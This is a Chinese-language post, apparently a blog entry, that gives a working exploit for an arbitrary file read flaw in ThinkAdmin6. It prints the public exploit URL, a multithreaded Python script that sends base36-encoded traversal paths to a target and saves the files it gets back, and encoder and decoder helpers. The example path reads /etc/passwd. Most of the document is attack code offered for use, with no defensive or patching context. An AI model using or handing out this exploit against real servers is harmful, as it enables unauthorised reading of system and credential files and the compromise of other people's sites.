在我们日常中遇到了ThinkAdmin6任意文件读取时候,常常无法控制路径,为此我把网上的exp拆分出来
admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34
这是网上公开的exp
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import os
import warnings
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import requests
import base64
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import init, Fore, Style
# 初始化 colorama
init(autoreset=True)
# 禁用InsecureRequestWarning警告
warnings.simplefilter('ignore', InsecureRequestWarning)
def base36_encode(number):
"""将数字转换为 base36 编码"""
num_str = '0123456789abcdefghijklmnopqrstuvwxyz'
if number == 0:
return '0'
base36 = []
while number != 0:
number, i = divmod(number, 36)
base36.append(num_str[i])
return ''.join(reversed(base36))
def get_data(url):
"""从指定 URL 获取并解码 base64 编码的数据"""
try:
response = requests.get(url, verify=False) # 禁用 SSL 证书验证
response.raise_for_status()
page = response.json()
if page['code'] == 1:
return base64.b64decode(page['data']['content'].encode()).decode()
return "read error"
except requests.RequestException as e:
print(f"{Fore.RED}请求错误: {e}")
return "error"
except KeyError as e:
print(f"{Fore.RED}响应中没有找到预期的字段: {e}")
return "error"
except base64.binascii.Error as e:
print(f"{Fore.RED}Base64 解码错误: {e}")
return "error"
except ValueError as e:
print(f"{Fore.RED}JSON 解码错误: {e}")
return "error"
def process_file(target, base_path, file_path):
"""处理单个文件"""
if base_path:
file_path = os.path.join(base_path, file_path).replace("\\", "/") # 拼接基础路径
content = file_path
tmp_str = ''.join(base36_encode(ord(char)) for char in content)
uri = "/admin.html?s=admin/api.Update/get/encode/"
target_url = f"{target.rstrip('/')}{uri}{tmp_str}"
print(tmp_str)
result = get_data(target_url)
if result == "":
return f"{Fore.GREEN}{content} 目录存在!"
elif result == "read error":
return f"{Fore.RED}{content} 获取文件内容失败!"
elif result == "error":
return f"{Fore.RED}{content} 失败!"
else:
result_dir = 'result'
if not os.path.exists(result_dir):
os.makedirs(result_dir)
# 使用完整路径创建文件名
safe_file_name = content.replace("../", "").replace("/", "_")
file_path = os.path.join(result_dir, safe_file_name)
with open(file_path, 'w', encoding='utf-8') as file:
file.write(result)
return f"{Fore.GREEN}内容已保存到文件: {file_path}"
def main():
parser = argparse.ArgumentParser(description='通过 API 读取文件并获取响应')
parser.add_argument('-t', '--target', required=True, help='目标 IP 地址或域名')
parser.add_argument('-f', '--file', help='要读取的文件路径')
parser.add_argument('-w', '--wordlist', help='字典文件路径,提供多个文件路径或文件名')
parser.add_argument('-b', '--base-path', help='基础路径,用于拼接字典文件中的路径')
parser.add_argument('-p', '--parallel', type=int, default=5, help='并行线程数')
args = parser.parse_args()
if args.wordlist:
with open(args.wordlist, 'r', encoding='utf-8') as f:
file_paths = [line.strip() for line in f.readlines()]
else:
file_paths = [args.file]
with ThreadPoolExecutor(max_workers=args.parallel) as executor:
future_to_file = {executor.submit(process_file, args.target, args.base_path, file_path): file_path for file_path in file_paths}
for future in as_completed(future_to_file):
try:
result = future.result()
print(result)
except Exception as e:
print(f"{Fore.RED}处理文件时出错: {e}")
if __name__ == '__main__':
main()
参数解密代码
# -*- coding: utf-8 -*-
def base36_decode(number_str):
"""将 base36 编码的字符串转换回数字"""
num_str = '0123456789abcdefghijklmnopqrstuvwxyz'
result = 0
for char in number_str:
result = result * 36 + num_str.index(char)
return result
def decode_tmp_str(encoded_str):
"""从 base36 编码的字符串中解码原始路径"""
parts = [encoded_str[i:i+2] for i in range(0, len(encoded_str), 2)]
ascii_values = [base36_decode(part) for part in parts]
return ''.join(chr(value) for value in ascii_values)
# 给定的编码字符串
encoded_str = "34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34"
# 解码
decoded_str = decode_tmp_str(encoded_str)
print("Decoded string:", decoded_str)
运行效果
参数加密
# -*- coding: utf-8 -*-
def base36_encode(number):
"""将数字转换为 base36 编码"""
num_str = '0123456789abcdefghijklmnopqrstuvwxyz'
if number == 0:
return '0'
base36 = []
while number != 0:
number, i = divmod(number, 36)
base36.append(num_str[i])
return ''.join(reversed(base36))
def encode_to_base36(path):
"""将给定的字符串转换为 base36 编码的字符串"""
encoded_parts = [''.join([base36_encode(ord(char)) for char in part]) for part in path]
# 因为每个字符编码后长度固定为2,所以可以直接连接
return ''.join(encoded_parts)
# 示例
original_path = "public/static/../../../../etc/passwd"
encoded_str = encode_to_base36(original_path)
print("Original Path:", original_path)
print("Encoded string:", encoded_str)
运行效果